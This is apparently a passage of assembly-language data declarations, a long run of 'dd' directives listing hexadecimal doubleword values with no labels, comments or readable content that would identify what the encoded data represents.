3DE1D4Bh, 0E20BAC94h, 78392FF4h, 67203Dh dd 0FB905B9Bh, 0ECCB205Eh, 0B128F707h, 0C7A086EBh, 1E3B5Fh dd 4DB23494h, 361CE011h, 557B61E8h, 6275BD07h, 1003E37h dd 0C6B5E90h, 0A35F4406h, 0A1035298h, 6861CAA9h, 0B708E025h dd 97593ABBh, 5A50AE80h, 0CECDC8E7h, 49996700h, 62A9DB9Bh dd 5AB95823h, 11032860h, 3A018FB5h, 18B48A02h, 0F2304037h dd 474D00A1h, 0F4C7EE99h, 0F2000153h, 19CF056Bh, 6E180Ah dd 8BFEEAD8h, 0A38E43F3h, 0EBC73Ch, 13F1B12Bh, 0C52ED9h dd 0B339C124h, 1A126006h, 12FDEA3Eh, 41CA995h, 0EBC6E9C0h dd 3A3388E4h, 0F96930h, 0D4972C87h, 0E7E33B52h, 0FCDE9000h dd 33968AA0h, 445F609Dh, 7EB01D59h, 86000490h, 0F48F3B9Bh dd 281FBA87h, 0F4E8F2h, 26E48889h, 45C9B2B4h, 82FC6200h dd 1B679391h, 0C8110046h, 0F74F0AD4h, 0AC001EF2h, 49033EBCh dd 0EFCC5EABh, 0F1F0A880h, 638DD845h, 0F8AD6600h, 0D004489Ch dd 0C05938ACh, 0A200CAD8h, 6D3DE9AEh, 5B3D7384h, 25EE80E8h dd 9C1D3788h, 7D9A765Dh, 3FC10009h, 7BC51C60h, 0E9000129h dd 0EF039663h, 664988h, 0C25E1EABh, 52980DEh, 9F26EA03h dd 0C0A165F6h, 37B6268h, 643E2E6Eh, 91C888B8h, 0BB1F9354h dd 3C405395h, 15AF76C7h, 29D00086h, 0C60F9172h, 0FC00EABCh dd 3E995EF3h, 1C1C22Dh, 31127E94h, 80CA0D7Fh, 80AE1620h dd 52CFA0h, 75452E57h, 10C8BBD9h, 0CDC70600h, 6208861Eh dd 4AB407B9h, 0F0B591A1h, 0CE9D5EE8h, 2250E700h, 0A2319228h dd 0FD270020h, 0ED8AD9DCh, 0F6042D08h, 57625CBAh, 0A011B480h dd 72B900BDh, 0D7E8E5DBh, 5E000CA8h, 0AE306991h, 0CE81AAh dd 183EB022h, 0F9A88E4Dh, 17003BF8h, 7C834E08h, 92E779Ch dd 9ED9865Ah, 0CAD30801h, 81D120A9h, 7600A090h, 6E8CFB61h dd 1462F8Dh, 91C330AAh, 0E489E692h, 0B004EDCFh, 0BA7867AEh dd 0D3339490h, 0D0E200D2h, 6B20C048h, 0AB07F63Eh, 7EEE737Ch dd 0B12A46A0h, 0D2110043h, 0F0535C4Dh, 0FC901BD6h, 31040h dd 2A76C58Eh, 1CF894EEh, 50BFAF00h, 43B48685h, 717F81h dd 0D6651E88h, 118E38E0h, 6C0F9D0Eh, 6489E02Fh, 2429106h dd 0EF845DF4h, 80818F9Ah, 0D03E8B12h, 6EC0E885h, 8CCD4313h dd 90ACEA69h, 0DA6000A0h, 816CD320h, 0E10041BEh, 0D0C6C1BAh dd 7CBF06h, 4A5C04D2h, 0C9FF5269h, 9AE0C000h, 7FD87036h dd 3DD90020h, 0A24515B8h, 0F50017C1h, 6EFB44DCh, 0F56A4FFh dd 63061B4Eh, 709EEB07h, 0E7B0C4E5h, 0B7008F72h, 404356DCh dd 2419DE7Eh, 0F8ACCAh, 642B5A6Dh, 163B5EFFh, 7AA3806Fh dd 45B1B88Fh, 66F300C4h, 0A23A7071h, 0C700CA67h, 0B474D023h dd 0E3EFA9h, 0FB053B2Ah, 0AE5355BEh, 97DE5C00h, 0E556F39Bh dd 0DF8403C6h, 8E0A5F26h, 31A01289h, 6758E46Ch, 96D25300h dd 0C161665Ah, 89DA0074h, 0CD7B17CBh, 0E31C8BADh, 0B9808E15h dd 8CDD1B27h, 0D92B0019h, 3F136B0h, 0D477E544h, 0F8816E00h dd 1F0CE84Eh, 0B5831F1Ch, 677E40AFh, 842F0D96h, 0AED37004h dd 20C1B1CEh, 0C4249B46h, 73910076h, 9DFE0759h, 74003E3Fh dd 0B4B8708Ah, 7E95641h, 8D1427FCh, 0E3B15064h, 6898BCADh dd 4BEFD104h, 0F080A9F6h, 0EBAA4CF3h, 8FDF3080h, 855EAD0Ah dd 0D669C202h, 43A5EBC3h, 442C887Ch, 0BF2B00A7h, 0B82FDD15h dd 0E0A0C040h, 840078AFh, 0E0494E4Fh, 7AEE68Ch, 41BA79D2h dd 2B644047h, 0D626B4ACh, 0A600EB23h, 819357CAh, 0DAA00CA2h dd 0E0E11DF6h, 8366001h, 28D4D00Bh, 1B8CFE4h, 9124B68h dd 0EC04F1A5h, 8DF66B89h, 0EC959C00h, 1EA4D72Bh, 4AAC00B5h dd 68966D43h, 0F60939A5h, 80636C23h, 1AC30B90h, 0FD322819h dd 17BA77A8h, 40EB8990h, 45470700h, 3D00663Ah, 7D783684h dd 7254CAh, 448348A4h, 75D59757h, 0EB922A00h, 0C7437E49h dd 0D423009Ch, 6B086830h, 88009B0Ah, 0D5EB9EA6h, 0D36950h dd 61D0A9FCh, 76AE4162h, 6EBFC500h, 0CADAD29Ch, 72D30FA7h dd 403F11A0h, 2081334Bh, 1600F7BFh, 9E832E32h, 900E8F69h dd 820900CAh, 0B4259840h, 0AEE0201Fh, 0DB4E2F00h, 0BC0D637h dd 0F4F000DAh, 1A8985DDh, 9F2618Bh, 6FAA4E00h, 2D198AEBh dd 95403C8Dh, 0F6EC7980h, 0FD1B05F8h, 0E285CC00h, 491EFA12h dd 0A09F3F8Ch, 16D9A682h, 0F840CF5Bh, 0F53086ACh, 4F3A6838h dd 3B9F0057h, 9D908D75h, 1D0219F3h, 3007835Fh, 231140BFh dd 0F4D4BA92h, 649D60B6h, 0FD202DEFh, 0DCE14700h, 5CBF1882h dd 31E300B9h, 4CF4A144h, 1AC5700Ah, 0DC001DB8h, 77A5AD2Ah dd 6B700F6h, 5EBB9F20h, 0EC5D327Bh, 9DA90090h, 0F72EBD80h dd 46743E77h, 44034848h, 9572CD82h, 0FA2C890Dh, 0D6E0306Eh dd 0FB500C4h, 0F3B60CD5h, 18C7CBC9h, 3CFBCD4h, 30AA0D2Bh dd 5D203410h, 920F5B02h, 0C0D331D0h, 0E7FC5835h, 0B4F10283h dd 0D45F5EAEh, 96456FC0h, 7D188800h, 84FC0E95h, 8B7DBAh dd 7AB8ACB4h, 696153BCh, 3A2CCD26h, 45778A01h, 38B05A4Bh dd 8D9C0D66h, 1470BD5Dh, 0F74ED30h, 0A0A73D09h, 399CE514h dd 0CE89285Fh, 5B121D70h, 6F487055h, 0D0B86078h, 806BB03Dh dd 296E4AC6h, 0DFDE0Dh, 99A06DCAh, 38A7613Ch, 0B24DF11Dh dd 12AD1C07h, 408ADEC0h, 0F72AEh, 77CA967Eh, 0E667A90h dd 5270C207h, 0E590734Dh, 0CF7CA5h, 0F31AA4B1h, 8AA66D17h dd 2AA16300h, 5F0760BFh, 4FFD005Dh, 0A9B7A01Ch, 7D01F15Ch dd 0C2E90635h, 1F7004E6h, 7F7759Bh, 3BFC1EF0h, 0E8F6C2EDh dd 3C808660h, 5A05E4B8h, 22E8516h, 2414CD80h, 57933D3Fh dd 0A41D8780h, 36B3DC11h, 0FB78F028h, 0C13B3Bh, 5EE42802h dd 143B0FAh, 0FBBDFDAFh, 0FB2FA19Ch, 0AC87D9F8h, 65F9E101h dd 666E59EEh, 0C0EFFBD0h, 89512020h, 0A5009487h, 0A79A3F4Dh dd 1874C0h, 6092F541h, 231EB8EFh, 0EE85B50Ch, 7DE58EDh dd 83195FF1h, 0EB20C1E5h, 52ACF0A2h, 89FA80Fh, 0D946105h dd 32F0EA81h, 26AE073Bh, 50189AC7h, 8DA20507h, 0F393FC0Ah dd 80702087h, 0E078C9Eh, 48D7F302h, 3E4F304Ch, 0AD00E393h dd 0C3AB3917h, 9E836AFh, 6200360h, 0E8EE384h, 8DEA9F31h dd 0EECD1583h, 0D7F84Ch, 2EF434BCh, 31D90FF0h, 66080920h dd 60208030h, 33F92B17h, 3F130E98h, 44826D90h, 0D002EA8h dd 2864683Ch, 0A846C67h, 0CA9231FBh, 34C78130h, 180829BDh dd 6141CEADh, 4F872B60h, 561F2DB1h, 0B0284DB5h, 181F443Ch dd 82831F1h, 0C2F1C02Ch, 1590090Bh, 74406400h, 6E9DA659h dd 0EF650086h, 5F023782h, 31CC1942h, 0E1FD59AEh, 10022F02h dd 32570145h, 12885817h, 28C22B04h, 9A330EA0h, 0BD6A2105h dd 42810334h, 8448CAAAh, 61850006h, 3C178CD9h, 9630A980h dd 782F8004h, 0E36400CAh dd 0BDB239CDh, 0D13A3171h, 0AB8900A7h, 27BB4C41h, 0D677308Dh dd 5EA4E030h, 41F59A31h, 80ECBB22h, 0CAB1069Fh, 8998548h dd 0AB216164h, 4C4F01BAh, 0BE3D205Fh, 0E1E401F9h, 61FD25D0h dd 157424h, 0C3B8B27Ah, 7D8F0304h, 6925C900h, 0C06C34D0h dd 430E3060h, 96138241h, 7B06FB1Fh, 0E5840740h, 44D1E7Dh dd 457CB3E6h, 114C8092h, 0D648B002h, 0E3ACC048h, 43DFAD27h dd 12BF2236h, 0E215EDh, 2D7D5327h, 0CB000F63h, 0E7198D12h dd 34C6A7h, 0ED2A527h, 851BD18Eh, 0ECB00FF8h, 0C8C25F37h dd 18422E43h, 0F11F8C71h, 0D60053E2h, 1DD1C6ABh, 3035D584h dd 0D29446Ch, 6D383D83h, 0B931609Ah, 29080559h, 78644F5Bh dd 86023Dh, 0F2237E14h, 85A6FCCBh, 212D0530h, 0A393D9h dd 0D501EEEDh, 97731B12h, 0D0FF4030h, 3B143596h, 0F8D07798h dd 0C5028C6Ch, 19D122Eh, 115719CEh, 68CCBC11h, 2AB900F6h dd 86B591BBh, 9600DC3Eh, 580812E3h, 0F61C7C8h, 0CE484B17h dd 0C054F187h, 8A4498F5h, 50BFDC00h, 4345213Bh, 67F21F69h dd 784A013Dh, 0F7247D94h, 19F59690h, 31970B3Ah, 0C9B52152h dd 0F2EB0560h, 9D7E3059h, 0CA742850h, 6140C330h, 1867AEAh dd 66D8FDF7h, 0BFE075B6h, 0D769E008h, 0E2EB8B92h, 4F6D017Fh dd 899F10CCh, 0CE40834Ah, 0C0266AABh, 62BD1EA9h, 0C20D60A3h dd 11851F18h, 88E0FDF2h, 9780B8E9h, 9812FC8Bh, 4A3FD90Dh dd 6C9500AFh, 93289D18h, 0AC5100DEh, 0A8EEDCFDh, 9A308848h dd 226A81BDh, 0CCF7226h, 0D4C0335h, 21C75E09h, 77E0DACAh dd 1E67B1Ah, 0ECC7A624h, 8099C5D8h, 0D6276A81h, 0F4E508B3h dd 645F0053h, 0BF5977EBh, 49D98D2Fh, 24189278h, 2521270Eh dd 0C1C810E5h, 260CCC80h, 0EAC4DB79h, 0D6321EDCh, 3E081C0h dd 0F47D518Bh, 0DAE01297h, 4C90D00h, 67BE287Fh, 511F0EBFh dd 5BBE73BDh, 8FD01031h, 4050C096h, 363898ECh, 0D6A400BEh dd 3706863h, 0B9943DF5h, 740F7685h, 11F060CFh, 0FD10F485h dd 0E3C86770h, 8B89BC80h, 1D1352EAh, 0F74851h, 0DAEDAC5Ch dd 700A72Eh, 0F54DEC9Eh, 6071CC4Bh, 33205849h, 0B30630B9h dd 0C49F11C7h, 0FA91EAF9h, 0E2DD00C2h, 6831EC0Fh, 0BD00B6DEh dd 0EB1972D6h, 3B3071Fh, 578F380Bh, 0A9035DD9h, 0C794F7CAh dd 3A990E7Fh, 0F60FE70h, 717D1C4Dh, 0FF051500h, 0C5EA3EEEh dd 1246F2C8h, 5F4AFDA7h, 0D134E78h, 4B0C28F4h, 0A7B13FCBh dd 9E16EF0Ch, 102182h, 3677CE3Eh, 80BA63B2h, 3C925208h dd 0B60A808Dh, 3F0D1C93h, 0C55B8306h, 0A1687407h, 1E181670h dd 0FD1B8504h, 0CE326178h, 90968B23h, 197A4h, 610ACCCBh dd 1A99D208h, 7EA74F3Dh, 39C0C1C7h, 0B89E0048h, 0A069B3FFh dd 0C6227300h, 0CEC00E4Fh, 0D517808Bh, 1A10BE07h, 0D8C0070Dh dd 67175ACh, 2399D744h, 0EF03290Bh, 7CAB0C4Fh, 0F8B196C8h dd 1A42268Eh, 0F0C5C724h, 970C2021h, 31D16086h, 9F7312D8h dd 690074E0h, 0A1DA3D7h, 55A2AB54h, 0EBC598B5h, 0DC1BFCh dd 0B05CF356h, 0E225943Fh, 11489782h, 0A1C083CCh, 0B88C99CAh dd 86A120h, 50BA1CBFh, 313CAE59h, 7E78B418h, 0F03ED8h dd 513797E6h, 0A3E3081Dh, 0ECFF4B00h, 1BAE5C71h, 87073E28h dd 0E253B980h, 319DC83Bh, 0D7573Ah, 91D6503h, 49DAE1h dd 2EEC5312h, 0E86A757Bh, 0B3635A00h, 6FE70724h, 28CE1FA5h dd 4C7B0410h, 806D813Eh, 0BF408009h, 0D62119Ch, 77C4006Eh dd 182B7165h, 0C98BB2AEh, 81C82D5Bh, 74727BE0h, 8690890h dd 7C003182h, 0CAFFB70Fh, 5F2A008Ah, 16F68951h, 40001404h dd 9647EE37h, 2062E319h, 1704689Ah, 3DC5F54Fh, 0D9289440h dd 250345CDh, 8357EFF8h, 0E210D85Eh, 0D1FE1EEEh, 0B078C007h dd 7442340Dh, 0A2CBAD00h, 159D03A0h, 1D9100B1h, 0F0F9210Bh dd 0CA044633h, 0E76E300Eh, 0EF52B103h, 685C9BD8h, 0FB866D0Fh dd 81116CE9h, 0D8C600C9h, 0BC5F0C7Ah, 3000C2C1h, 6B4A812h dd 0E391836h, 1E68A46h, 69E2D1A0h, 1D001B68h, 0F4E2550h dd 1FC691B4h, 801E93E1h, 3EAE19C3h, 9B1F8B4Dh, 4C0FA4Ch dd 0BDDD364Bh, 2CDE1FF2h, 0A074559Ah, 0D08B6902h, 0F0018145h dd 14C4ED13h, 3B031F49h, 5FACDDCAh, 1D00F888h, 0DDB03190h dd 0E4509278h, 0E60047DEh, 0DC0216FEh, 7FEE8CDBh, 17BE073Bh dd 0E0EF7AE8h, 0ECE04291h, 0E04F382Ah, 0E2CBC800h, 0F17150C7h dd 267605A0h, 0F3549Ah, 3C8BD4A0h, 62F0CF53h, 8121663Ah dd 0B332EEBEh, 8040DF16h, 0AFA665h, 8B66D423h, 0CEAE691h dd 359AAE0Fh, 6043B2FAh, 0FFF816ACh, 0BDCD453h, 0DDA5C0C1h dd 0C9C68B00h, 0E70A8901h, 804F1995h, 0ED118480h, 1EF767ACh dd 514BBh, 3B1F8D22h, 0C0C2E4A8h, 0A0242D49h, 55C5B8A0h dd 4E8900A4h, 16E05119h, 2CF290E7h, 0BDC76B03h, 81CC05E3h dd 80401C9Eh, 52F0C9h, 0A0EBBFFBh, 0F980085Bh, 0C07B7E39h dd 0DB390094h, 2B098110h, 0B000F23Bh, 3EDD5EB1h, 0BA1715h dd 0E0718F32h, 0CCE4E9Ah, 0C38A8800h, 0E714D72Dh, 1CF50376h dd 6138468Dh, 21D4A6F8h, 621A1700h, 0E8417097h, 7FB600CDh dd 94539E3Ah, 40C0E0D3h, 0A38A45AEh, 0BBB0016Ch, 36A1B2Bh dd 4E2EE01Eh, 0DE7B6114h, 90A40080h, 86D3109Fh, 9B1121Bh dd 0A3C042E7h, 6060CBD4h, 586C21Ch, 0FD01850Ch, 7A88B68h dd 0E6B96510h, 25EB2D0h, 52AD004Fh, 0D336AE24h, 8600F39Dh dd 0DE10983Ah, 0E7EF25h, 0C7F7CB8h, 0D664489h, 21C0F8E8h dd 13E624E8h, 3B37C53h, 0CE211FD2h, 5000A70Ah, 592042E4h dd 24DD1732h, 247F92EFh, 45F00FCDh, 9FC450A0h, 0BB391153h dd 0E88900E1h, 8C7A1097h, 0A799076Fh, 20E48A69h, 90BF9FC5h dd 3B98400h, 193D4127h, 97BE0080h, 2B42D94Dh, 0F07348A6h dd 0C3A20C0h, 53CB6EC2h, 7C842085h, 0DC336044h, 60F57FCEh dd 0A3F030DEh, 0BF01837Ah, 97A75D41h, 0C6D15EC9h, 0BB552180h dd 3E75597Bh, 18809CA1h, 0B5E60420h, 310D677Dh, 85009F91h dd 2F03E96Dh, 0FDB581EBh, 64B398E7h, 20B76052h, 145DF2C5h dd 0FE8D9A3h, 0AB0E408h, 9A60CE00h, 796BC907h, 2BA20176h dd 41D3B231h, 0B480EE48h, 979CBB4Eh, 0BC4749C0h, 34FF6CCh dd 0E2B23A35h, 0A9001958h, 243487D1h, 26FFE7h, 0CC6C9C3Bh dd 0C192DF50h, 0A32FE600h, 8108225h, 530B1C8Ah, 5B59709Dh dd 0FE1C51A8h, 57D39373h, 0CF9BE107h, 1FDE11F1h, 4CE3C4h dd 608B9187h, 366FF945h, 3A69A005h, 94563BA6h, 4A0E7007h dd 0CA4D802Fh, 5F20E4h, 372ADC25h, 62C14E5Bh, 0F3990905h dd 0FBC12780h, 0C042D497h, 0D4E0F710h, 3C1FF555h, 1FCA5A2h dd 5F910CFAh, 7CD8AE56h, 5B3600A1h, 5419DAC3h, 0C00E5EAFh dd 0B5F63058h, 7E3200E4h, 0EA39409Dh, 55338BEh, 0B1A0074h dd 3E9223FBh, 720080D1h, 82E4D430h, 819B97h, 445D7814h dd 76FAAE7h, 3CA60F00h, 0F543ACC4h, 4DA31C06h, 0E74EE91h dd 0B2581240h, 0FB00FF83h, 258982E1h, 215A495h, 0F0DF2998h dd 0C263600Fh, 21014CA3h, 0A215DCBFh, 0C3D759E6h, 6AA5E0F5h dd 0C8AD00CEh, 0F44E8FBDh, 2007B76h, 9AFA32CFh, 0C3FB4Dh dd 299F972Fh, 0BD2B87B6h, 2260F803h, 0D26A7Ah, 2380A949h dd 48B65FE2h, 4E050E1Eh, 213B307Ah, 23688Eh, 0FD1A74DCh dd 0F9FE0817h, 6D74A58h, 3189CDE1h, 0E6BE8D0h, 0F13CF7F6h dd 57C5B898h, 1F654B00h dd 0A6CC2F60h, 0E52E7468h, 0BE21A6h, 0FFFA6E4Bh, 310151F5h dd 0AA79C536h, 8ED42F44h, 0F478193Dh, 858AB880h, 0E226791h dd 0C8046023h, 0FF966346h, 9220E60Dh, 5183D4Ch, 0A4EB7560h dd 599006E2h, 0BFE21D0h, 55C27B00h, 89A2EE07h, 0A82EF64Fh dd 40873E9Ch, 0AF7DD73Dh, 0E0AB347Ch, 4518FA82h, 299B3F11h dd 4B22C6h, 0E015DD68h, 752F6D4Ah, 84978D01h, 0DB22CB20h dd 0C4539080h, 772CA8D4h, 9488BD00h, 0E0E1E811h, 0CD7C0168h dd 121403CAh, 4DF4DC7Fh, 0BF66700Bh, 0AFF30328h, 9EB3908Dh dd 0D57B033Dh, 4A1E0ADCh, 29794288h, 76D9BD00h, 0AEB5CE20h dd 0DC9A0067h, 0E28CF708h, 0C5077AEBh, 23BFC242h, 967B3BD0h dd 0A8E4E115h, 0CBB3001Ah, 58789773h, 6E391769h, 56790082h dd 38B193E9h, 0A2490B7Dh, 0DB8007AEh, 67E0E46h, 5B1ABD00h dd 94F94D84h, 0ACEC3AAAh, 4ED0294h, 0F09CA3BAh, 3013B2E4h dd 5518A267h, 0F80070A6h, 5840B7F5h, 2E5D47h, 0D3DDE939h dd 4F83CC2Dh, 63545E0Ch, 44F42972h, 0D744FD68h, 0F88044B0h dd 44888E44h, 28A1E36Eh, 0D144164h, 101C12ACh, 0D84025A8h dd 0FF79C7C8h, 29924042h, 142E04F0h, 0B700C75Bh, 0C899393Fh dd 9C6103D8h, 7D355C6Ah, 906BFCF0h, 0F490603h, 88D7A5C2h dd 7A5EC67Ah, 73A400B4h, 45CC40E5h, 781D8BB1h, 39430457h dd 98E29E08h, 4FF918h, 2A207CC7h, 942171BEh, 52E95100h dd 0F4CA0470h, 4A9D00A3h, 2C285B68h, 0A9001390h, 58C7F779h dd 850497h, 65ABB225h, 0E411527Ch, 0FFCBB901h, 0CAF7C1ADh dd 55D8C761h, 0B3571FCDh, 382340DCh, 0EF3B4D7Ah, 0B6C531Fh dd 0D6114AC3h, 69DBB968h, 0F4E98FF4h, 499901F0h, 592CBCD7h dd 20EC40CCh, 320053A8h, 3AA5BEB6h, 99FB70h, 37477BCFh dd 6865A7C3h, 0F9C4E303h, 0D0B5618Dh, 0EE25948h, 5DAB4CECh dd 0CE2BEA81h, 8116ECA5h, 0E95BAA03h, 0B0C7E761h, 3C754F58h dd 9C006682h, 0A95D4088h, 0DE00FD52h, 5159F195h, 0E10346h dd 0AE2A3958h, 0A488F255h, 0D007D17Bh, 6991E59Ah, 71C784F0h dd 906312DBh, 144000B1h, 6FD01E72h, 0F0D1280Eh, 77172B3Fh dd 32FB4481h, 6B1BC4C6h, 0EF6F7D01h, 34286B6h, 4EEAECh dd 0CEC209F7h, 0F6938DB7h, 6EB4AF00h, 23C7570Fh, 0D86900E1h dd 0CDC4C342h, 2E00C09Ch, 56808663h, 6BB2DCh, 75453EB6h dd 0FD42A65Bh, 2CA1900h, 0E74273Fh, 85010EA0h, 0DD40134Fh dd 884222A5h, 1C23C4Ch, 42446B1h, 18C89DDFh, 0AB03149Fh dd 6600C8B2h, 0CD312093h, 0A6757AC8h, 0F15C1900h, 0FECC0A05h dd 65411E8Ch, 0CFC6C79Ch, 0E13C013Ah, 175ECCAFh, 5496810Eh dd 39704022h, 4D2E8Dh, 64EB99F6h, 6D7EE736h, 0D2017700h dd 0BA805EEDh, 9A9500DFh, 9DCA6F55h, 90A1431Ch, 0D1D9FD7Dh dd 9B119F57h, 7F6B9200h, 49B87Eh, 0CFAA36CEh, 4625A1C2h dd 0BA347800h, 4CA571D2h, 95F245h, 0D068B8F8h, 482997F7h dd 7BD5CD13h, 0E17EE400h, 6C3CB0h, 880FB70Dh, 0F6B1A021h dd 0D81CE002h, 82A82DDDh, 386FD6F0h, 0F6483CEAh, 3167004Ch dd 1C1ABA09h, 20F2007Eh, 243FE964h, 0CBFA29E5h, 34984B06h dd 3C30FE7Ch, 433D5888h, 6200185Ch, 1102EFB5h, 473D6F52h dd 2AD60095h, 0C7E54613h, 21C50084h, 8915DA8Dh, 0E7286F9Eh dd 1B00F43Eh, 0A7268A24h, 0A08F7B60h, 0A9A1F8h, 0AC5C48Ch dd 339F6C13h, 99FC0300h, 85EA2CFEh, 0C412242Fh, 68BC00B8h dd 9859779Dh, 79DAE803h, 0F0C0627Ch, 15E751h, 656B8DBEh dd 1A1B76F0h, 0FF3DA200h, 525D5B64h, 0F6C80017h, 17EA455h dd 0FB097CA7h, 0AFD025h, 0B9ACEF38h, 8BF870h, 0B021FC75h dd 0D87C9751h, 0BA924E39h, 0ECD771h, 8C46CF4h, 0E8ECCBh dd 55C551FCh, 0CF428848h, 0CC3D451Ch, 0E4BE79h, 0B2794E71h dd 0AC63D8h, 23B522EFh, 0BF702FF3h, 0B873D41Ch, 28BB4800h dd 0F2276A8h, 0C6CFFBDAh, 0EADF99E1h, 0FD2FE4D5h, 2AF93F00h dd 24275380h, 1AE61C15h, 809F1E76h, 63913969h, 930097FBh dd 0A0543384h, 1D1A23DFh, 0C070DC5Eh, 9CF4ADFCh, 8F00504Eh dd 5BD2E81Fh, 0DBD581h, 67E3777Ch, 9EF66938h, 3A997E00h dd 876664F8h, 5FB061h, 2621AF1Ah, 89599684h, 2E0013EEh dd 0D4EE0D7Eh, 0FA6916F7h, 40AB00C3h, 97E1E3A0h, 1B3A7209h dd 0C8BB80A7h, 5663B0D5h, 640207F6h, 75FD5F58h, 0F7CC00E6h dd 0EA05F352h, 9A971901h, 0C69B4B0Eh, 75988F4h, 4FDE420Ah dd 1E4C9039h, 180045B7h, 0F874FA80h, 7E5902C3h, 3A34B072h dd 0A626EFA5h, 9E780CCh, 12410C3Bh, 1F57420Ah, 0A00A436h dd 56DE4C30h, 290D00E5h, 7E07A1D6h, 0ED0208B0h, 0C11C78F7h dd 2A04605Ch, 0A84C00D5h, 66714305h, 9900CA48h, 0F9ADC2ACh dd 0FD1D02Eh, 0A901B21Ah, 0FDB16260h, 6600ABCAh, 5B4E5E7Eh dd 3054BC33h, 0C505FCEh, 0AB036593h, 5575B902h, 6677B009h dd 0EF980031h, 4D4ABA4Bh, 49008321h, 6814F119h, 0BF466Ah dd 1B457066h, 3FC61AC0h, 8AC26D09h, 28942075h, 0D914A6h dd 0BBAA0295h, 8ACEA0B5h, 0FDD76903h, 0F0A11964h, 3B2B408h dd 2B2CB616h, 45A8CB79h, 5500FFAEh, 0AC14CD2h, 7E3F20Ch dd 0AC4A9B3Fh, 0EBE11001h, 0E8029A2Dh, 8DFEF130h, 1D8C606Ch dd 799805BEh, 2412E3h, 4421CEB4h, 5C803B43h, 0A00400B1h dd 9885875Fh, 230CA7E6h, 20A19212h, 749A583Eh, 3307216h dd 13A6A5CCh, 3A2C1CB8h, 0F058AE00h, 86A22AF7h, 23F500D2h dd 919C53DBh, 0C200E281h, 6A39027Dh, 0ADBFD0h, 26CA8331h dd 0D801EDB3h, 4125EA09h, 0B60C002Eh, 608D0D47h, 0E38250F3h dd 0D501A7B9h, 2D5BC9A0h, 0FD60469Fh, 0F5AB00ADh, 1CE47827h dd 1200C803h, 4C7199D4h, 696E36Fh, 7A72F567h, 2E005861h dd 0A057AE77h, 3047D299h, 5618B4DEh, 7A0133ECh, 427917EDh dd 20749895h, 0B2900A5h, 0F04CA4BBh, 0CF7CB672h, 347F6413h dd 0A62DC803h, 0E0258B84h, 4B121Ch, 92D24465h, 373FD099h dd 0AAF410C0h, 40A34397h, 477F7C30h, 0EB11C600h, 133D34ACh dd 0E542008Ch, 6F8AA532h, 2719C105h, 0D189B128h, 0B0B20330h dd 0D2F4001Ch, 3EE91131h, 0C4001676h, 67C859C3h, 0C2335Dh dd 0CC4D83B2h, 4FB4F563h, 480F9E1Eh, 41C743DDh, 8900C06Ah dd 3A5493h, 0AAB9BAEBh, 0A2A57806h, 0BE653Fh, 9040D596h dd 79D9CCh, 1CDE7F8Eh, 506EF13h, 9D024C00h, 957875Dh, 8BCF00E7h dd 0DB766F94h, 4404C90Ah, 0E07D84B9h, 0AEFB70C0h, 0E4531FF1h dd 0A5F003CEh, 37E08F08h, 41008BC1h, 0F9ACEA8Dh, 7BFC9A76h dd 6216001Bh, 30AFE33Ah, 0D5009DFAh, 55870704h, 1DFD8913h dd 8006ADEBh, 0FC888071h, 0AC7B6102h, 16301E00h, 0AEF53E72h dd 34B22405h, 0FF1F025Ch, 0F8600C42h, 96002061h, 8027F2B5h dd 31D4C3h, 0C756874Fh, 8DE72843h, 0C0A0200Eh, 8969806Bh dd 314B212h, 6AD20598h, 4A9B17FFh, 0C00CF5BFh, 4F7727EDh dd 73DECC07h, 1220ADBEh, 3DC1053h, 918320C3h, 24E0CDAAh dd 1B0A4377h, 0E49BBFCAh, 42DC8800h, 19AA5F2h, 36BB7562h dd 401E9633h, 7CB828BBh, 7D60FF00h, 5C75DF15h, 6670000Ah dd 0F026EBBAh, 0DC71F7DBh, 845B3E3Dh, 12D67786h, 6B916881h dd 3672DD4h, 0F03AAED4h, 7FE8555Eh, 0FA07971Eh, 1A1C8224h dd 96924C70h, 38064833h, 66015800h, 97DE744h, 4056A1Dh dd 70FD11C4h dd 53E94B0h, 0BE2E393Dh, 5FAC9067h, 5B09596Ah, 2107B9BFh dd 4C88D480h, 868BE8h, 0FF336AA6h, 51DB1FF8h, 0D603DA00h dd 50B2DC6Dh, 0D2E5002Dh, 0A9426F81h, 0AF0FCDC0h, 5E54CB9Eh dd 7920BF4Ch, 393B0EADh, 0C09C6869h, 0F0CFA659h, 0BF7063F4h dd 1807A700h, 5FA55EFEh, 0FB122E52h, 8160001Dh, 0ED10872Ch dd 0B20006E2h, 9F74C648h, 0B367F8h, 2F3D42A4h, 1E08668Bh dd 314EC116h, 2300F116h, 2544129Ch, 0D8995047h, 63E80043h dd 0E74B1A7Ch, 6C5BF24Eh, 0D20031E8h, 7AEBFA8Bh, 0DC00FF59h dd 70AE8EB1h, 0A4E061h, 0AB24D8A8h, 0D2C22FFDh, 950F7698h dd 0E39394DFh, 2E2BDD64h, 593C19h, 0B56135A2h, 0FF5CA660h dd 6911C04h, 5C290300h, 70C0932h, 0E8BD2D1Eh, 1F807B46h dd 6E15EB51h, 0C5363300h, 21F8765Dh, 1FAB0A19h, 87BC9703h dd 935BE09Eh, 4FA0D4C4h, 5331AB48h, 2182212h, 3487F4h dd 7F3991B2h, 0A577F970h, 50B6EC00h, 7378C33Ch, 0D9B000C6h dd 5B381857h, 31007E0Dh, 88AD9EA7h, 2620B7F4h, 494472h dd 2277AF65h, 0E90005E1h, 0A9DAC85Ah, 3C647315h, 4C003C3Bh dd 0BF5EA632h, 7400E18Ch, 12E0AD67h, 756A40DBh, 0AB013DFEh dd 9BA6E800h, 8130FD24h, 22FB4700h, 0D2CD3E5Fh, 0C5EA0099h dd 527FA1E4h, 0E107EBC8h, 9AD6DFFEh, 1353C10h, 5F9607F0h dd 0E0327372h, 19A6484Ch, 8A1A700h, 44526C12h, 5BDB3A36h dd 9A314000h, 0D9FF9EAh, 0AD0FD37Ah, 0C038094Dh, 1CD1F32Ah dd 83B500B2h, 0ED182D47h, 3D006084h, 0A1D8DB31h, 9BD1D4h dd 6D257823h, 2E3C0136h, 919F900Fh, 0C85F604Bh, 0E72308FCh dd 0E0F1ECh, 80F761FDh, 0A8D9CF64h, 88BB7900h, 753BA30Eh dd 0B75F0EECh, 0E460B111h, 0EBF4079Dh, 7359B848h, 9373C401h dd 9C565ABh, 0E7B6F4h, 36C18ADh, 0D817A06Dh, 0D036B224h dd 32FB6507h, 0E0212740h, 6C050007h, 0C96023C6h, 980071D3h dd 0F84953EDh, 16FB74AEh, 212EB7h, 34AAB8D6h, 260FC07Fh dd 0E0D3CA9Fh, 59106177h, 0A5151D85h, 80A49EB5h, 980B868Eh dd 3C76D53Fh, 0F212A974h, 